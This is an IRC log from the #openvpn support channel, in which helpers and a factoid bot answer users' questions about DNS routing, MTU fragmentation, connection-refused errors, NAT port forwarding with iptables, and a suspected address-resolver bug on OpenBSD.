12:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:44 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 246 seconds]
12:46 -!- cyberspace- [20253@ninthfloor.org] has quit [Ping timeout: 246 seconds]
12:46 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
12:46 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:55 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 245 seconds]
12:56 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
12:58 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
12:58 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
13:07 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
13:10 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
13:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:32 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
13:36 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
13:44 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 252 seconds]
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
13:56 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:06 -!- brute11k1 [~brute@89.249.230.50] has quit [Quit: Leaving.]
14:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
14:29 -!- mkultra [~mkultra@24.180.150.241] has joined #openvpn
14:30 < mkultra> !goal
14:30 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:30 -!- d33tah_ is now known as d33tah
14:32 < mkultra> !welcome
14:32 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:32 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:44 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
14:53 -!- mkultra [~mkultra@24.180.150.241] has quit [Read error: Connection reset by peer]
14:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Excess Flood]
15:30 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 245 seconds]
15:32 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
15:47 -!- Orbi [~opera@46.246.36.187] has joined #openvpn
15:58 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
16:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:19 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 248 seconds]
16:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
16:25 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:28 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Quit: Leaving]
16:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:54 -!- Orbi [~opera@46.246.36.187] has left #openvpn []
16:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:01 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
17:01 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
17:01 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
17:09 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 276 seconds]
17:09 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:12 -!- master_of_master [~master_of@p4FF244CE.dip.t-dialin.net] has joined #openvpn
17:15 -!- master_o1_master [~master_of@p4FF24B61.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
17:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:28 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:32 < zarrsh_> Question about paid vpn service
17:32 <@Eugene> !as
17:32 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:32 < zarrsh_> my bro in America wants to be able to watch Netflix in latin american though
17:33 <@Eugene> We don't/can't support paid services here.
17:34 < zarrsh_> but no recommendations for paid services?
17:34 <@Eugene> Never used one.
17:35 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
17:35 -!- amir__ [~amir@unaffiliated/amir] has left #openvpn ["Leaving"]
17:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:41 < zarrsh_> ok, I just ask for my non-tech savvy bro
17:42 < pekster> Reddit or google are better choices. This channel discusses the open-source OpenVPN project and it's usage
17:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
17:50 < zarrsh_> k, well I got a teamviewer session with my bro right now, and we're using vpnninja, which has an openvpn implementation actually
17:50 < zarrsh_> so not to far off
17:50 < zarrsh_> :P
18:15 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:18 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
18:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
18:40 -!- kjs [kjs@fedora/kjs] has quit [Remote host closed the connection]
18:43 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
18:44 < me0615> good day. i placed fragment 1300 and mssfix on my client config and after that, in my log it stated frag_test not implemented. what does this mean? its like an error to something.
18:46 -!- dougy [me@tech.qsi.net] has joined #openvpn
18:47  * dougy waves to raidz_away 
18:51 < me0615> guys, aside from that question, using mtu-test, I got actual 1421.  however I am thinking if I can use fragment 1300 instead of 1421.  Can I do that?
18:54 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
19:06 -!- me0615 [~me0615@122.2.46.76] has quit [Read error: Connection reset by peer]
19:07 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has joined #openvpn
19:12 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has quit [Max SendQ exceeded]
19:13 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has joined #openvpn
19:18 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has quit [Max SendQ exceeded]
19:19 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has joined #openvpn
19:23 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has quit [Max SendQ exceeded]
19:25 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has joined #openvpn
19:26 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
19:26 < me0615> guys, aside from that question, using mtu-test, I got actual 1421.  however I am thinking if I can use fragment 1300 instead of 1421.  Can I do that?
19:29 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has quit [Max SendQ exceeded]
19:30 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has joined #openvpn
19:30 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
19:31 -!- me0615 [~me0615@122.2.46.76] has quit [Remote host closed the connection]
19:36 -!- emmanuelux [~emmanuelu@nl2.freedom-ip.com] has quit [Max SendQ exceeded]
19:43 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
19:46 -!- _methods [~minotaur@192.81.210.43] has quit [Ping timeout: 240 seconds]
19:47 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
19:47 -!- _methods [~minotaur@192.81.210.43] has joined #openvpn
19:55 -!- tgunr [~davec@66-249-166-11.static-ip.telepacific.net] has quit [Quit: Nity nite]
19:55 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
20:09 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:37 -!- Kireji [~nospam@biocontact.org] has joined #openvpn
20:37 < Kireji> I have a mac laptop setup with tunnelblick (openvpn).  typically, do DNS (port 53) requests go through the tunnel?  How can I figure out if they are on this machine?
20:39 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:39 < pekster> Kireji: If you're pushing DNS servers (see bot output I'll paste below) the Tunnelblick client's upscript uses the dnsctl utility the MacOS provides to update the DNS servers
20:39 < pekster> !pushdns
20:39 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
20:39 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
20:40 < pekster> Kireji: If the pushed DNS server, or your native ones should you not be pushing new ones, are routed across the tunnel then the request will traverse the VPN
20:40 < pekster> So it depends on the routing configuration too
20:41 -!- SuperGauntlet [~SuperGaun@d14-69-67-219.try.wideopenwest.com] has joined #openvpn
20:41 < Kireji> I don't understand what teh phrase "pushing DNS" means
20:41 < pekster> See #1 above. It's a feature OpenVPN provides to "push" arbitrary openvpn options to clients
20:41 < SuperGauntlet> !forwarding
20:41 < Kireji> reading
20:41 < SuperGauntlet> is vpnhelper still down?
20:42 < pekster> SuperGauntlet: Clearly not since I just used it
20:42 < pekster> !forward
20:42 < Kireji> ah
20:42 < pekster> !ipforward
20:42 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
20:42 < SuperGauntlet> pekster: oh okay
20:42 < SuperGauntlet> pekster: So I just used the wrong command
20:42 < SuperGauntlet> !linipforward
20:42 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
20:42 < Kireji> so the dns servers are set on the laptop, and have not been pushed from the server
20:42 < pekster> Right. You can get a complete list here SuperGauntlet
20:42 < pekster> !factoids
20:42 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
20:42 < SuperGauntlet> pekster: cool thanks
20:43 < pekster> Kireji: Right. Now that *might* be routed across the VPN link, but only if you pushed a route (or used --redirect-gateway) to change the routing behaviour of the client
20:43 < SuperGauntlet> !nat
20:43 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
20:43 < SuperGauntlet> !linnat
20:43 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
20:44 < SuperGauntlet> hmm
20:44 < Kireji> when I do "route get 8.8.8.8" (as an example) it says it gets routed through the server
20:44 < SuperGauntlet> I can't seem to connect to my server anymore, and my log is giving a tcp connection error.
20:44 < pekster> Sounds like you're redirecting the gateway then
20:45 < Kireji> yesthink it is
20:45 < SuperGauntlet> It will connect, but then after a moment will give endless 'waiting for server' errors
20:45 < Kireji> so I guess my question is - openvpn doesn't do anything differnt with DNS requests than with any other traffic
20:45 < Kireji> if the vpn is set up to redirect all traffic through the server, dns requests will be too - correct?
20:46 < pekster> Kireji: Nope. OpenVPN can make changes to the routing table (see the --route and --redirect-gateway commands) but OpenVPN does not "know" what any of your traffic is. It's just a packet
20:46 < Kireji> k
20:47 < Kireji> thank you
20:47 < SuperGauntlet> pekster: what's the command for that one flowchart to run through?
20:47 < pekster> For what purpose?
20:47 < SuperGauntlet> troubleshooting what the issue is
20:48 < SuperGauntlet> My server is running and can be seen from the WAN
20:48 < SuperGauntlet> but I can't connect to it properly
20:48 < pekster> !goal
20:48 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
20:48 < pekster> I have no idea what you want. Thus I cannot help get you there
20:48 < SuperGauntlet> Okay, right. So my vpn server was working fine about a week ago
20:48 < SuperGauntlet> And I was using it to access the internet securely
20:49 <@Eugene> !logs
20:49 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
20:49 < SuperGauntlet> Now I try to run it again and it isn't working.
20:49 < SuperGauntlet> !logfile
20:49 <@Eugene> How long has it been since you set it up originall?
20:49 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
20:49 < SuperGauntlet> Eugene: probably about 2 weeks?
20:49 <@Eugene> Hm, so not cert expiration then. Logs should tell all(most)
20:50 < pekster> logs and configs please. Ideally at 'verb 4' although 'verb 3' might be fine unless I need more
20:50 < SuperGauntlet> I looked in the client logs and it was giving a lot of 'tcp routing refused'
20:50 < pekster> The percice error/warning in the logs matters a lot. As does the config
20:50 < pekster> !configs
20:50 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
20:50 -!- Kireji [~nospam@biocontact.org] has left #openvpn []
20:50 < SuperGauntlet> 'Transport Error: TCP connect error on 'xx.xx.xx.xx' for TCP session: Connection refused
20:50 < pekster> That means the peer is refusing your connection
20:51 < SuperGauntlet> I'll get pastebin the stuff in a moment
20:51 < SuperGauntlet> Yeah I wasn't sure if it was iptables doing that or something else
20:51 < pekster> Could be
20:51 < pekster> If the port's not openn, you can't connect. You can nmap the port and it should show as open
20:51 < pekster> Even telnet can help tell you that
20:51 < SuperGauntlet> The port's open
20:52 < SuperGauntlet> I checked that, canyouseeme.org can see the service
20:52 < pekster> Might be thte server rejecting the client too. Try posting logs from both sides somewhere
20:52 < pekster> gist.github.com or a similar pastesite
20:53 < SuperGauntlet> uhh, I can't find the openvpn log in /var/log
20:53 < pekster> See !logfile above
20:57 < SuperGauntlet> >cannot open openvpn-status.log for write
20:57 < SuperGauntlet> lol
20:59 < pekster> The logfile is not the status file
21:03 < SuperGauntlet> I think I'll just look into fixing it tomorrow. It looks like the client is sending packets that are too large?
21:03 < SuperGauntlet> Maybe I have the mtu set wrong.
21:04 < SuperGauntlet> and now canyouseeme is saying it can't see my service
21:04 -!- SuperGauntlet [~SuperGaun@d14-69-67-219.try.wideopenwest.com] has quit [Quit: Leaving]
21:17 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Nine out of ten l33t h4x0rz prefer it]
21:17 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
21:18 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
21:20 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Quit: Leaving]
21:21 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
21:21 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Client Quit]
21:21 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
21:22 -!- nlopez_ [~quassel@198.211.102.196] has joined #openvpn
21:23 -!- nlopez_ [~quassel@198.211.102.196] has quit [Remote host closed the connection]
21:23 -!- nlopez_ [~quassel@198.211.102.196] has joined #openvpn
21:23 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
21:23 -!- nlopez_ is now known as thalweg
21:55 <@Eugene> !howto
21:55 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:55 <@Eugene> CEnnis91 ^ read
22:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:41 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
22:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:01 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
23:03 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
23:28 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 276 seconds]
23:44 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
23:54 -!- labiamajora [~root@113.210.12.211] has joined #openvpn
23:54 < labiamajora> hi
23:55 < labiamajora> is there a way where i can set my openvpn on a dedicated server, xxx with openvpn lan ip YYYY
23:55 < labiamajora> and when user is on YYYY all of their ports are automatically forwarded/opened?
23:55 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
23:56 < labiamajora> eg: run a webserver on yyyy and be seen by outside
23:56 < labiamajora> i've tried dnat to yyyy works, but what if client wants to run multiple service from  yyyy?
23:57 < labiamajora> eg: port 80, 81, 82,83, 84, so on and so forth
23:57 < pekster> 1) don't IRC as root. It's a really bad idea to run unnecessary software as root. 2) you can't control if the client's ports are open or not from the server. It's the client's choice to run a firewall or not
23:58 < labiamajora> pekster: im using mirc, not running it as root.
23:58 < pekster> You can script whatever hooks you want when a client connects. See the --client-connect script hook in the manpage for details, but you get a whole list of environmental variables. Also see the manpage heading "SCRIPTING AND ENVIRONMENTAL VARIABLES"
23:58 < pekster> And you've used "root" as your username? Interesting choice. -!- labiamajora [~root@113.210.12.211] has joined #openvpn
23:58 < pekster> That's besides the point I suppose
23:59 < labiamajora> pekster: nah, on mirc program you can set whatever ident you want. I just set it as root.
23:59 < pekster> Ah, fair enough. You might be surprised how many people actually connect in as root :(
23:59 < labiamajora> pekster:can you help me, please?
--- Day changed Mon Apr 08 2013
00:00 < pekster> What's stopping a client from listening on a port on the VPN IP?
00:00 < labiamajora> i don't know. When i setup open vpn, all ports to the client seems to be closed
00:01 < pekster> From what source system did you determine this?
00:02 < labiamajora> pekster: i am not really a technical person but i managed to setup openvpn on a server and user accounts on it. I manage to connect to openvpn but then if let's say i want to host a webserver from my pc, the internet cannot sees it
00:02 < labiamajora> if i disconnect from openvpn it's fine
00:02 -!- u0m3_ is now known as u0m3
00:03 < labiamajora> i fixed this by issuing iptables dnat on the dedicated server
00:03 < pekster> Oh, so you have a VPN client somewhere, and you want connections to work from the outside world to that client through the physical uplink? Are you redirecting gateway traffic?
00:03 < labiamajora> but this is quite troublesome
00:03 < pekster> Or are you trying to route the traffic through some external IP the server has to the client?
00:03 < pekster> I don't understand where you want traffic from the outside world to go
00:04 < labiamajora> outside world goes into vpn client
00:04 < labiamajora> how about that?
00:04 < pekster> So you've assigning public IPs to your VPN clients?
00:04 < labiamajora> no
00:04 < pekster> Then you can't do that
00:04 < labiamajora> internal tun ip
00:04 < pekster> Some "random" host on the Internet is unable to connect directly to an RFC1918 IP. They're not globally routable
00:05 < pekster> You can connect somewhere else and NAT it into a private LAN
00:05 < labiamajora> what does NAT do?
00:05 < pekster> (this is what home routers do.) Think of your VPN server like a home router if that helps you visualize how the VPN clients are "hidden" behind it
00:06 < labiamajora> yeah
00:06 < pekster> To the rest of the Internet, your RFC1918 LAN doesn't exist. It's meaninless outside of the private LAN and the systems connected to it
00:06 < labiamajora> that's correct
00:06 < pekster> External clients always reach a public IP. You can NAT them in from there, but that's controlled by whatever system owns the public IP
00:06 < pekster> If you want to expose a port to clients, you need to set up a NAT mapping
00:07 < pekster> Read about the --client-connect script hook I referenced, and the variables under that manpage section
00:07 < labiamajora> i see, i think that's what i did. My server is running on debian and it has iptables on it. I have to destination NAT it to work
00:07 < pekster> That's how you'd do it dynamically when clients connect. You'd need some way to store a mapping to use for clients, and that's up to you to script in whatever scripging language you prefer (bash might be a fine choice)
00:08 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
00:09 < labiamajora> ok that sounds kinda hard as i'm just the "follow the guide on the internet" type of guy
00:09 < labiamajora> is there a tutorial on this?
00:09 < labiamajora> i can't seem to find it on the net at all
00:10 <@Eugene> While I do appreciate the imagery provided by your nickname, I do not feel that it is particularly family-friedly.
00:12 < labiamajora> lol.
00:12 < pekster> Try a netfilter (sometimes aka "iptables") tutorial. The one on the frozentux.net site might be a good place to start
00:12 -!- labiamajora is now known as marajobiala
00:27 -!- marajobiala [~root@113.210.12.211] has quit [Ping timeout: 252 seconds]
00:45 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has quit [Ping timeout: 256 seconds]
00:45 -!- civillian [~nick@122.49.202.174] has joined #openvpn
00:50 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 256 seconds]
00:52 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
00:58 -!- madroach [t1b5pt0gsq@stgt-d9be5d25.pool.mediaWays.net] has joined #openvpn
00:59 < madroach> Hi, for me the OpenVPN resolver is broken: RESOLVE: Cannot parse IP address
00:59 <@Eugene> !configs
00:59 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
00:59 < madroach> yep
01:00 < madroach> The relevant part is --remote gmerlin.de
01:00 < madroach> the problem is in openvpn_getaddrinfo
01:00 <@Eugene> You might think that, but i assure you there is more to it than that
01:00 < madroach> the bug is quite obvious in code. So I'm wondering if it's a known issue.
01:00 <@Eugene> For example, if this is happening after a disconect while you're doing a def1 redirect, that is expected behaviour.
01:01 < madroach> no
01:01 <@Eugene> Or if you're pushing DNS via the tunnel
01:01 < madroach> no
01:01 <@Eugene> Hence, I ask for the FULL configs.
01:01 < madroach> ok
01:01 < madroach> one moment.
01:03 < madroach> here: ftp://gmerlin.de/pub/openvpn/
01:03 < madroach> config is client.conf, logs with debug=7 are in log
01:03 <@Eugene> !paste
01:03 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
01:03 < pekster> That's better than a pastebin really
01:04 <@Eugene> Except if you have a paranoid firewall that doesn't let you connect to FTP
01:04 < madroach> ok
01:04 < madroach> moment...
01:04 <@Eugene> But.... I've now stopped caring. So good luck.
01:05 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 276 seconds]
01:05 < madroach> http://gmerlin.de/openvpn/client.conf
01:05 < madroach> http://gmerlin.de/openvpn/log
01:05 < pekster> chroot is your issue I'm guessing
01:06 < madroach> no, its before chroot. Look at the log
01:06 < madroach> the problem is in socket.c:177
01:07 < madroach> essentially it says if (!(flags & GETADDR_RESOLVE) || status == EAI_FAIL) {goto fail;}
01:07 <@Eugene> If you think you've found a bug, the place to discuss it is #openvpn-devel or the mailing list.
01:08 < madroach> this will happen after  status = getaddrinfo(hostname, NULL, &hints, res); with hints.ai_flags = AI_NUMERICHOST;
01:08 < madroach> NUMERICHOST means try to resolve an ip.
01:08 < madroach> This just has to fail for a hostname (like gmerlin.de).
01:08 < madroach> Eugene: ok.
01:08 < pekster> It doesn't fail on "every" hostname though
01:08 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
01:09 < pekster> It  merely tries the numeric first
01:09 < pekster> If that fails, that's detected and retried, ie, socket.c:165
01:09 < madroach> pekster: Yes, that's what its supposed to do, but it doesn't.
01:09 < pekster> Then how do you explain it working fine for me in 2.3.1 with DNS names? :)
01:10 < madroach> pekster: yep, thats the codepath I'm seeing. But then on line 177 it will fail anyways.
01:10 < madroach> pekster: hmm
01:10 < pekster> Maybe there's a more subtle issue here, but that codebase is not blindly broken. I'm using it fine now. A host with an IPv4 only (single A record) on a DNS server I control
01:10 < madroach> I'm on OpenBSD
01:10 < pekster> I'm connected to that host right now, and connected in this morning
01:10 < pekster> Okay, so that's important. Maybe there's a difference in the resolver library
01:11 < pekster> Wanna pop over to #openvpn-devel? More devs will see the chat as it's slower pace there
01:11 < madroach> could you try and look what the status variable is in your case?
01:11 < madroach> ok
01:21 -!- krzee [~k@openvpn/community/support/krzee] has left #openvpn ["Leaving"]
01:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
01:28 -!- mode/#openvpn [+o krzee] by ChanServ
01:28 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Quit: Nity nite]
01:31 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
01:37 -!- mz [~emerick@unaffiliated/mz/x-5510238] has quit [Disconnected by services]
01:37 -!- madroach [t1b5pt0gsq@stgt-d9be5d25.pool.mediaWays.net] has left #openvpn []
01:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:56 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
02:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:07 -!- MaynardWaters [~asdfjkl@c-71-238-30-69.hsd1.mi.comcast.net] has quit [Read error: Connection reset by peer]
02:20 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:25 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:26 -!- marajobiala [~labia@183.171.178.124] has joined #openvpn
02:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
02:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:55 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 245 seconds]
02:56 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has joined #openvpn
